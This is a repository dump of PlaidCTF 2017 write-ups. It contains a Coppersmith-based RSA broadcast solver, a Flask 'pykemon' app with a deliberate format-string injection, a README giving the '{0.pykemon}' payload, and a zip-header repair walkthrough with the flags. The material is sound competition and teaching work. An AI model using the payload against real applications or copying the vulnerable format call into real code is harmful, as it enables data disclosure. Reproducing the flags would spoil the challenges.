17 | ass = [a[_sage_const_0 ] for a in z]
18 |
19 | ts = [crt([int(i == j) for j in range(_sage_const_5 )], ns) for i in range(_sage_const_5 )]
20 |
21 | P = PolynomialRing(Zmod(prod(ns)), names=('x',)); (x,) = P._first_ngens(1)
22 | gs = [(ts[i] * ((ass[i] * x + bs[i])**_sage_const_5 - cs[i])) for i in range(_sage_const_5 )]
23 | g = sum(gs)
24 | g = g.monic()
25 | roots = g.small_roots()
26 |
27 | print binascii.unhexlify(hex(int(roots[_sage_const_0 ]))[_sage_const_2 :-_sage_const_1 ])
28 |
29 |
--------------------------------------------------------------------------------
/plaidctf2017/multicast/generate.sage:
--------------------------------------------------------------------------------
1 | nbits = 1024
2 | e = 5
3 | flag = open("flag.txt").read().strip()
4 | assert len(flag) <= 64
5 | m = Integer(int(flag.encode('hex'),16))
6 | out = open("data.txt","w")
7 |
8 | for i in range(e):
9 | while True:
10 | p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
11 | q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
12 | ni = p*q
13 | phi = (p-1)*(q-1)
14 | if gcd(phi, e) == 1:
15 | break
16 |
17 | while True:
18 | ai = randint(1,ni-1)
19 | if gcd(ai, ni) == 1:
20 | break
21 |
22 | bi = randint(1,ni-1)
23 | mi = ai*m + bi
24 | ci = pow(mi, e, ni)
25 | out.write(str(ai)+'\n')
26 | out.write(str(bi)+'\n')
27 | out.write(str(ci)+'\n')
28 | out.write(str(ni)+'\n')
29 |
--------------------------------------------------------------------------------
/plaidctf2017/no_mo_flo/no_flo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/no_mo_flo/no_flo
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | env/
3 |
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/README.md:
--------------------------------------------------------------------------------
1 | # pykemon (151 pts)
2 |
3 | We're given the source code for a [flask](http://flask.pocoo.org/) webapp that allows you to catch pykemon. Each pykemon has a rarity, and the FLAG pykemon, whose decription is the flag, has rarity 0, which means we can never successfully capture it.
4 |
5 | Combing through the source code line by line, we find something suspicious:
6 |
7 | ```
8 | @app.route('/rename/', methods=['POST'])
9 | def rename():
10 | name = request.form['name']
11 | new_name = request.form['new_name']
12 | if not name:
13 | return 'Error'
14 |
15 | p = check(name, 'caught')
16 | if not p:
17 | return "Error: trying to name a pykemon you haven't caught!"
18 |
19 | r = session.get('room')
20 | s = session.get('caught')
21 | for pykemon in s['pykemon']:
22 | if pykemon['pid'] == name:
23 | pykemon['nickname'] = new_name
24 | session['caught'] = s
25 | print session['caught']
26 | return "Successfully renamed to:\n" + new_name.format(p)
27 | ```
28 |
29 | When you capture a pykemon, the app lets you rename it to a string of your choice. When you do it returns `new_name.format(p)` where `p` is the python Pykemon object.
30 |
31 | For whatever reason, the user-provided string `new_name` is being formatted with `p` using python's [format string capabilities](https://docs.python.org/2/library/string.html#custom-string-formatting).
32 |
33 | It turns out that given an object, python allows you to print out attributes of the object using some special format string syntax. Examining the `Pykemon` class, we notice that if we can get access to the `Pykemon.pykemon` table, we can find the flag.
34 |
35 | This ends up working perfectly:
36 |
37 | 
38 |
39 | We catch (any) pykemon, and we rename it to `{0.pykemon}`. The `0` refers to the first (and only) format string argument, and and the `.pykemon` tells python to print the pykemon table in the Pykemon class.
40 |
41 | 
42 |
43 | This yields the flag: `PCTF{N0t_4_sh1ny_M4g1k4rp}`.
44 |
45 | *Note: it turns out that there was an unintended, and arguably easier solution. Flask session cookies are not actually secure, so it's possible to simply [grab and decode](https://github.com/p4-team/ctf/tree/master/2017-04-21-plaidctf/pykemon) the session cookie to find the flag.*
46 |
47 |
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/__init__.py
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/pykemon.py:
--------------------------------------------------------------------------------
1 | from random import randint
2 | import json
3 |
4 |
5 | class Pykemon(object):
6 | pykemon = [
7 | [100, 'Pydiot', 'Pydiot','images/pydiot.png', 'Pydiot is an avian Pykamon with large wings, sharp talons, and a short, hooked beak'],
8 | [90, 'Pytata', 'Pytata', 'images/pytata.png', 'Pytata is cautious in the extreme. Even while it is asleep, it constantly listens by moving its ears around.'],
9 | [80, 'Pyliwag', 'Pyliwag', 'images/pyliwag.png', 'Pyliwag resembles a blue, spherical tadpole. It has large eyes and pink lips.'],
10 | [70, 'Pyrasect', 'Pyrasect', 'images/pyrasect.png','Pyrasect is known to infest large trees en masse and drain nutrients from the lower trunk and roots.'],
11 | [60, 'Pyduck', 'Pyduck', 'images/pyduck.png','Pyduck is a yellow Pykamon that resembles a duck or bipedal platypus'],
12 | [50, 'Pygglipuff', 'Pygglipuff', 'images/pygglipuff.png','When this Pykamon sings, it never pauses to breathe.'],
13 | [40, 'Pykachu', 'Pykachu', 'images/pykachu.png','This Pykamon has electricity-storing pouches on its cheeks. These appear to become electrically charged during the night while Pykachu sleeps.'],
14 | [30, 'Pyrigon', 'Pyrigon', 'images/pyrigon.png','Pyrigon is capable of reverting itself entirely back to program data and entering cyberspace.'],
15 | [20, 'Pyrodactyl', 'Pyrodactyl', 'images/pyrodactyl.png','Pyrodactyl is a Pykamon from the age of dinosaurs'],
16 | [10, 'Pytwo', 'Pytwo', 'images/pytwo.png','Pytwo is a Pykamon created by genetic manipulation'],
17 | [0, 'FLAG', 'FLAG','images/flag.png', 'PCTF{XXXXXXXXXXXX}']
18 | ]
19 |
20 |
21 | def __init__(self, name=None, hp=None):
22 | pykemon = Pykemon.pykemon
23 | if not name:
24 | i = randint(0,10)
25 | else:
26 | count = 0
27 | for p in pykemon:
28 | if name in p:
29 | i = count
30 | count += 1
31 |
32 | self.name = pykemon[i][1]
33 | self.nickname = pykemon[i][2]
34 | self.sprite = pykemon[i][3]
35 | self.description = pykemon[i][4]
36 | self.hp = hp
37 | if not hp:
38 | self.hp = randint(1,100)
39 | self.rarity = pykemon[i][0]
40 | self.pid = self.name + str(self.hp)
41 |
42 |
43 | class Room(object):
44 | def __init__(self):
45 | self.rid = 0
46 | self.pykemon_count = randint(5,15)
47 | self.pykemon = []
48 |
49 | if not self.pykemon_count:
50 | return
51 | while len(self.pykemon) < self.pykemon_count:
52 | p = Pykemon()
53 | self.pykemon.append(p.__dict__)
54 | return
55 |
56 | class Map(object):
57 | def __init__(self):
58 | self.size = 10
59 |
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/pykemon1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/pykemon1.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/pykemon2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/pykemon2.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/run.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, request, session, render_template, render_template_string
2 | from random import randint
3 | from pykemon import *
4 | import json
5 | import os
6 | import re
7 |
8 |
9 | app = Flask(__name__, static_url_path="", static_folder="static")
10 | app.secret_key = 'XXXXXXXXX'
11 |
12 |
13 | class PageTemplate(object):
14 | def __init__(self, template):
15 | self.template = template
16 |
17 | @app.route('/')
18 | def index():
19 | r = Room()
20 | balls = 10
21 | session['room'] = r.__dict__
22 | session['caught'] = {'pykemon': list()}
23 | session['balls'] = balls
24 | for pykemon in r.pykemon:
25 | print pykemon
26 |
27 | print session['caught']
28 | return render_template('index.html', pykemon=r.pykemon, balls=balls)
29 |
30 |
31 | @app.route('/catch/', methods=['POST'])
32 | def pcatch():
33 | name = request.form['name']
34 | if not name:
35 | return 'Error'
36 |
37 | balls = session.get('balls')
38 | balls -= 1
39 | if balls < 0:
40 | return "GAME OVER"
41 |
42 | session['balls'] = balls
43 | p = check(name, 'room')
44 |
45 | if not p:
46 | return "Error: trying to catch a pykemon that doesn't exist"
47 |
48 | r = session.get('room')
49 | for pykemon in r['pykemon']:
50 | if pykemon['pid'] == name:
51 | r['pykemon'].remove(pykemon)
52 | print pykemon, r['pykemon']
53 |
54 | session['room'] = r
55 |
56 | s = session.get('caught')
57 |
58 | if p.rarity > 90:
59 | s['pykemon'].append(p.__dict__)
60 | session['caught'] = s
61 | if r['pykemon']:
62 | return p.name + ' has been caught!' + str(balls)
63 | else:
64 | return p.name + ' has been caught!' + str(balls) + '!GAME OVER!'
65 |
66 | elif p.rarity > 0:
67 | chance = (randint(1,90) + p.rarity) / 100
68 | if chance > 0:
69 | s['pykemon'].append(p.__dict__)
70 | session['caught'] = s
71 | if r['pykemon']:
72 | return p.name + ' has been caught!' + str(balls)
73 | else:
74 | return p.name + ' has been caught!' + str(balls) + '!GAME OVER!'
75 | if r['pykemon']:
76 | return p.name + ' got away!'+ str(balls)
77 | else:
78 | return p.name + ' got away!'+ str(balls) + '!GAME OVER!'
79 |
80 | @app.route('/rename/', methods=['POST'])
81 | def rename():
82 | name = request.form['name']
83 | new_name = request.form['new_name']
84 | if not name:
85 | return 'Error'
86 |
87 | p = check(name, 'caught')
88 | if not p:
89 | return "Error: trying to name a pykemon you haven't caught!"
90 |
91 | r = session.get('room')
92 | s = session.get('caught')
93 | for pykemon in s['pykemon']:
94 | if pykemon['pid'] == name:
95 | pykemon['nickname'] = new_name
96 | session['caught'] = s
97 | print session['caught']
98 | return "Successfully renamed to:\n" + new_name.format(p)
99 |
100 | return "Error: something went wrong"
101 |
102 | def check(name, prop):
103 | s = session.get(prop)
104 | if 'pykemon' in s.keys():
105 | for pykemon in s['pykemon']:
106 | if pykemon['pid'] == name:
107 | return Pykemon(pykemon['name'], pykemon['hp'])
108 | return None
109 |
110 | @app.route('/buy/', methods=['POST'])
111 | def buy():
112 | balls = session.get('balls') + 1
113 | if balls < 0:
114 | return "GAME OVER"
115 |
116 | session['balls'] = balls
117 | return str(balls)
118 |
119 | @app.route('/caught/', methods=['POST'])
120 | def caught():
121 | pykemons = session.get('caught')
122 | print pykemons
123 | if len(pykemons['pykemon']):
124 | result = ""
125 | for p in pykemons['pykemon']:
126 | result += "
"+p['nickname']+": "+p['description']+"
"
127 | result += "
"
128 | return result
129 | return "You have not caught any Pykemons"
130 |
131 |
132 | if __name__ == '__main__':
133 | app.run(host='0.0.0.0', debug=True)
134 |
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/css/scrolling-nav.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Start Bootstrap - Scrolling Nav (http://startbootstrap.com/)
3 | * Copyright 2013-2016 Start Bootstrap
4 | * Licensed under MIT (https://github.com/BlackrockDigital/startbootstrap/blob/gh-pages/LICENSE)
5 | */
6 |
7 | body {
8 | width: 100%;
9 | height: 100%;
10 | }
11 |
12 | html {
13 | width: 100%;
14 | height: 100%;
15 | }
16 |
17 | @media(min-width:767px) {
18 | .navbar {
19 | padding: 20px 0;
20 | -webkit-transition: background .5s ease-in-out,padding .5s ease-in-out;
21 | -moz-transition: background .5s ease-in-out,padding .5s ease-in-out;
22 | transition: background .5s ease-in-out,padding .5s ease-in-out;
23 | }
24 |
25 | .top-nav-collapse {
26 | padding: 0;
27 | }
28 | }
29 |
30 | /* Demo Sections - You can use these as guides or delete them - the scroller will work with any sort of height, fixed, undefined, or percentage based.
31 | The padding is very important to make sure the scrollspy picks up the right area when scrolled to. Adjust the margin and padding of sections and children
32 | of those sections to manage the look and feel of the site. */
33 |
34 | .intro-section {
35 | height: 100%;
36 | padding-top: 150px;
37 | text-align: center;
38 | background: #fff;
39 | }
40 |
41 | .about-section {
42 | height: 100%;
43 | padding-top: 150px;
44 | text-align: center;
45 | background: #eee;
46 | }
47 |
48 | .services-section {
49 | height: 100%;
50 | padding-top: 150px;
51 | text-align: center;
52 | background: #fff;
53 | }
54 |
55 | .contact-section {
56 | height: 100%;
57 | padding-top: 150px;
58 | text-align: center;
59 | background: #eee;
60 | }
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/fonts/glyphicons-halflings-regular.woff2
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/flag.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pydiot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pydiot.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pyduck.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pyduck.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pygglipuff.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pygglipuff.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pykaball.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pykaball.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pykachu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pykachu.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pyliwag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pyliwag.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pyrasect.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pyrasect.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pyrigon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pyrigon.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pyrodactyl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pyrodactyl.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pytata.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pytata.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/images/pytwo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/pykemon/static/images/pytwo.png
--------------------------------------------------------------------------------
/plaidctf2017/pykemon/static/js/jquery.easing.min.js:
--------------------------------------------------------------------------------
1 | /*
2 | * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
3 | *
4 | * Uses the built in easing capabilities added In jQuery 1.1
5 | * to offer multiple easing options
6 | *
7 | * TERMS OF USE - EASING EQUATIONS
8 | *
9 | * Open source under the BSD License.
10 | *
11 | * Copyright © 2001 Robert Penner
12 | * All rights reserved.
13 | *
14 | * TERMS OF USE - jQuery Easing
15 | *
16 | * Open source under the BSD License.
17 | *
18 | * Copyright © 2008 George McGinley Smith
19 | * All rights reserved.
20 | *
21 | * Redistribution and use in source and binary forms, with or without modification,
22 | * are permitted provided that the following conditions are met:
23 | *
24 | * Redistributions of source code must retain the above copyright notice, this list of
25 | * conditions and the following disclaimer.
26 | * Redistributions in binary form must reproduce the above copyright notice, this list
27 | * of conditions and the following disclaimer in the documentation and/or other materials
28 | * provided with the distribution.
29 | *
30 | * Neither the name of the author nor the names of contributors may be used to endorse
31 | * or promote products derived from this software without specific prior written permission.
32 | *
33 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
34 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
35 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
36 | * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
37 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
38 | * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
39 | * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
40 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
41 | * OF THE POSSIBILITY OF SUCH DAMAGE.
42 | *
43 | */
44 | jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,f,a,h,g){return jQuery.easing[jQuery.easing.def](e,f,a,h,g)},easeInQuad:function(e,f,a,h,g){return h*(f/=g)*f+a},easeOutQuad:function(e,f,a,h,g){return -h*(f/=g)*(f-2)+a},easeInOutQuad:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f+a}return -h/2*((--f)*(f-2)-1)+a},easeInCubic:function(e,f,a,h,g){return h*(f/=g)*f*f+a},easeOutCubic:function(e,f,a,h,g){return h*((f=f/g-1)*f*f+1)+a},easeInOutCubic:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f+a}return h/2*((f-=2)*f*f+2)+a},easeInQuart:function(e,f,a,h,g){return h*(f/=g)*f*f*f+a},easeOutQuart:function(e,f,a,h,g){return -h*((f=f/g-1)*f*f*f-1)+a},easeInOutQuart:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f+a}return -h/2*((f-=2)*f*f*f-2)+a},easeInQuint:function(e,f,a,h,g){return h*(f/=g)*f*f*f*f+a},easeOutQuint:function(e,f,a,h,g){return h*((f=f/g-1)*f*f*f*f+1)+a},easeInOutQuint:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f*f+a}return h/2*((f-=2)*f*f*f*f+2)+a},easeInSine:function(e,f,a,h,g){return -h*Math.cos(f/g*(Math.PI/2))+h+a},easeOutSine:function(e,f,a,h,g){return h*Math.sin(f/g*(Math.PI/2))+a},easeInOutSine:function(e,f,a,h,g){return -h/2*(Math.cos(Math.PI*f/g)-1)+a},easeInExpo:function(e,f,a,h,g){return(f==0)?a:h*Math.pow(2,10*(f/g-1))+a},easeOutExpo:function(e,f,a,h,g){return(f==g)?a+h:h*(-Math.pow(2,-10*f/g)+1)+a},easeInOutExpo:function(e,f,a,h,g){if(f==0){return a}if(f==g){return a+h}if((f/=g/2)<1){return h/2*Math.pow(2,10*(f-1))+a}return h/2*(-Math.pow(2,-10*--f)+2)+a},easeInCirc:function(e,f,a,h,g){return -h*(Math.sqrt(1-(f/=g)*f)-1)+a},easeOutCirc:function(e,f,a,h,g){return h*Math.sqrt(1-(f=f/g-1)*f)+a},easeInOutCirc:function(e,f,a,h,g){if((f/=g/2)<1){return -h/2*(Math.sqrt(1-f*f)-1)+a}return h/2*(Math.sqrt(1-(f-=2)*f)+1)+a},easeInElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g 50) {
4 | $(".navbar-fixed-top").addClass("top-nav-collapse");
5 | } else {
6 | $(".navbar-fixed-top").removeClass("top-nav-collapse");
7 | }
8 | });
9 |
10 | //jQuery for page scrolling feature - requires jQuery Easing plugin
11 | $(function() {
12 | $(document).on('click', 'a.page-scroll', function(event) {
13 | var $anchor = $(this);
14 | $('html, body').stop().animate({
15 | scrollTop: $($anchor.attr('href')).offset().top
16 | }, 1500, 'easeInOutExpo');
17 | event.preventDefault();
18 | });
19 | });
20 |
--------------------------------------------------------------------------------
/plaidctf2017/zipper/AAAAAAAA:
--------------------------------------------------------------------------------
1 |
2 |
3 | Huzzah, you have captured the flag:
4 | PCTF{f0rens1cs_yay}
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/plaidctf2017/zipper/README.md:
--------------------------------------------------------------------------------
1 | # zipper (50 pts)
2 |
3 | We're given a zip archive that is corrupted. When we try to unzip it we get an error:
4 |
5 | ```
6 | [zipper]> unzip zipper.zip
7 | Archive: zipper.zip
8 | warning: filename too long--truncating.
9 | [ ]
10 | : bad extra field length (central)
11 | ```
12 |
13 | We can get a hexdump of the file and examine it byte by byte against the zip spec to diagnose the problem:
14 |
15 | ```
16 | [zipper]> xxd zipper.zip > zipper_xxd
17 | [zipper]> cat zipper_xxd
18 | 00000000: 504b 0304 1400 0200 0800 fc99 924a 3ea9 PK...........J>.
19 | 00000010: 2e53 4600 0000 f600 0000 2923 1c00 0000 .SF.......)#....
20 | 00000020: 0000 0000 0000 5554 0900 035b c8f6 585b ......UT...[..X[
21 | 00000030: c8f6 5875 780b 0001 04e8 0300 0004 e803 ..Xux...........
22 | 00000040: 0000 5350 2004 b814 082b f128 adaa 4acc ..SP ....+.(..J.
23 | 00000050: d051 a8cc 2f55 c848 2c4b 5548 4e2c 2829 .Q../U.H,KUHN,()
24 | 00000060: 2d4a 4d51 28c9 4855 48cb 494c b7e2 0a70 -JMQ(.HUH.IL...p
25 | 00000070: 0e71 ab4e 3328 4acd 2b36 4c2e 8eaf 4cac .q.N3(J.+6L...L.
26 | 00000080: ac25 c326 ea28 0100 504b 0102 1e03 1400 .%.&.(..PK......
27 | 00000090: 0200 0800 fc99 924a 3ea9 2e53 4600 0000 .......J>..SF...
28 | 000000a0: f600 0000 2923 1800 0000 0000 0100 0000 ....)#..........
29 | 000000b0: b481 0000 0000 0000 0000 0000 0000 5554 ..............UT
30 | 000000c0: 0500 035b c8f6 5875 780b 0001 04e8 0300 ...[..Xux.......
31 | 000000d0: 0004 e803 0000 504b 0506 0000 0000 0100 ......PK........
32 | 000000e0: 0100 4e00 0000 8800 0000 0000 ..N.........
33 | ```
34 |
35 | 
36 |
37 | Alternatively, we can create a zip archive of our own and compare it against this archive:
38 |
39 | ```
40 | [zipper]> echo asdfalsjdfklasdlkfj > asdf
41 | [zipper]> zip asdf
42 | adding: asdf (stored 0%)
43 | [zipper]> xxd asdf.zip
44 | 00000000: 504b 0304 0a00 0000 0000 87b2 974a e5c4 PK...........J..
45 | 00000010: 6545 1400 0000 1400 0000 0400 1c00 6173 eE............as
46 | 00000020: 6466 5554 0900 03dd 60fd 58cf 60fd 5875 dfUT....`.X.`.Xu
47 | 00000030: 780b 0001 04f5 0100 0004 1400 0000 6173 x.............as
48 | 00000040: 6466 616c 736a 6466 6b6c 6173 646c 6b66 dfalsjdfklasdlkf
49 | 00000050: 6a0a 504b 0102 1e03 0a00 0000 0000 87b2 j.PK............
50 | 00000060: 974a e5c4 6545 1400 0000 1400 0000 0400 .J..eE..........
51 | 00000070: 1800 0000 0000 0100 0000 a481 0000 0000 ................
52 | 00000080: 6173 6466 5554 0500 03dd 60fd 5875 780b asdfUT....`.Xux.
53 | 00000090: 0001 04f5 0100 0004 1400 0000 504b 0506 ............PK..
54 | 000000a0: 0000 0000 0100 0100 4a00 0000 5200 0000 ........J...R...
55 | 000000b0: 0000
56 | ```
57 |
58 | Based on the warning message ('filename too long') and using either or both of the above methods, we can hone in on the problem: bytes 26-27 are supposed to store the filename length, but for the given archive that length is 0x2329 = 9001 (haha).
59 |
60 | We can infer the correct length of the filename from the fact that the "Extra field" which has the magic number 5554 occurs right after the filename ends. This means that the filename itself spans bytes 30 to 37 inclusive, meaning that it is eight bytes long.
61 |
62 | Note also that the filename occurs twice in the zip archive (not actually sure why...) so we need to make our edits twice.
63 |
64 | We can edit `zipper_xxd` directly and change bytes 26-27 and 164-165 to `0800` (remember that it's little endian!). We'll also make the filename `AAAAAAAA` by changing all the bytes from 30-37 and 182-189 inclusive to 0x41:
65 |
66 | ```
67 | [zipper]> cat zipper_xxd
68 | 00000000: 504b 0304 0a00 0200 0800 fc99 924a 3ea9 PK...........J>.
69 | 00000010: 2e53 4600 0000 f600 0000 0800 1c00 4141 .SF.......)#....
70 | 00000020: 4141 4141 4141 5554 0900 035b c8f6 585b ......UT...[..X[
71 | 00000030: c8f6 5875 780b 0001 04e8 0300 0004 e803 ..Xux...........
72 | 00000040: 0000 5350 2004 b814 082b f128 adaa 4acc ..SP ....+.(..J.
73 | 00000050: d051 a8cc 2f55 c848 2c4b 5548 4e2c 2829 .Q../U.H,KUHN,()
74 | 00000060: 2d4a 4d51 28c9 4855 48cb 494c b7e2 0a70 -JMQ(.HUH.IL...p
75 | 00000070: 0e71 ab4e 3328 4acd 2b36 4c2e 8eaf 4cac .q.N3(J.+6L...L.
76 | 00000080: ac25 c326 ea28 0100 504b 0102 1e03 1400 .%.&.(..PK......
77 | 00000090: 0200 0800 fc99 924a 3ea9 2e53 4600 0000 .......J>..SF...
78 | 000000a0: f600 0000 0800 1800 0000 0000 0100 0000 ....)#..........
79 | 000000b0: b481 0000 0000 4141 4141 4141 4141 5554 ..............UT
80 | 000000c0: 0500 035b c8f6 5875 780b 0001 04e8 0300 ...[..Xux.......
81 | 000000d0: 0004 e803 0000 504b 0506 0000 0000 0100 ......PK........
82 | 000000e0: 0100 4e00 0000 8800 0000 0000 ..N.........
83 | ```
84 |
85 | Then we can pack it back into a binary file using the nifty `-r` option of `xxd`. Unzipping the new archive yields the flag:
86 |
87 | ```
88 | [zipper]> xxd -r zipper_xxd > myzip.zip
89 | [zipper]> unzip myzip.zip
90 | Archive: myzip.zip
91 | inflating: AAAAAAAA
92 | [zipper]> cat AAAAAAAA
93 |
94 |
95 | Huzzah, you have captured the flag:
96 | PCTF{f0rens1cs_yay}
97 |
98 |
99 |
100 | ```
101 |
--------------------------------------------------------------------------------
/plaidctf2017/zipper/asdf:
--------------------------------------------------------------------------------
1 | asdfalsjdfklasdlkfj
2 |
--------------------------------------------------------------------------------
/plaidctf2017/zipper/asdf.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/zipper/asdf.zip
--------------------------------------------------------------------------------
/plaidctf2017/zipper/myzip.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/zipper/myzip.zip
--------------------------------------------------------------------------------
/plaidctf2017/zipper/zip_header.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/zipper/zip_header.png
--------------------------------------------------------------------------------
/plaidctf2017/zipper/zipper.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2017/zipper/zipper.zip
--------------------------------------------------------------------------------
/plaidctf2017/zipper/zipper_xxd:
--------------------------------------------------------------------------------
1 | 00000000: 504b 0304 0a00 0200 0800 fc99 924a 3ea9 PK...........J>.
2 | 00000010: 2e53 4600 0000 f600 0000 0800 1c00 4141 .SF.......)#....
3 | 00000020: 4141 4141 4141 5554 0900 035b c8f6 585b ......UT...[..X[
4 | 00000030: c8f6 5875 780b 0001 04e8 0300 0004 e803 ..Xux...........
5 | 00000040: 0000 5350 2004 b814 082b f128 adaa 4acc ..SP ....+.(..J.
6 | 00000050: d051 a8cc 2f55 c848 2c4b 5548 4e2c 2829 .Q../U.H,KUHN,()
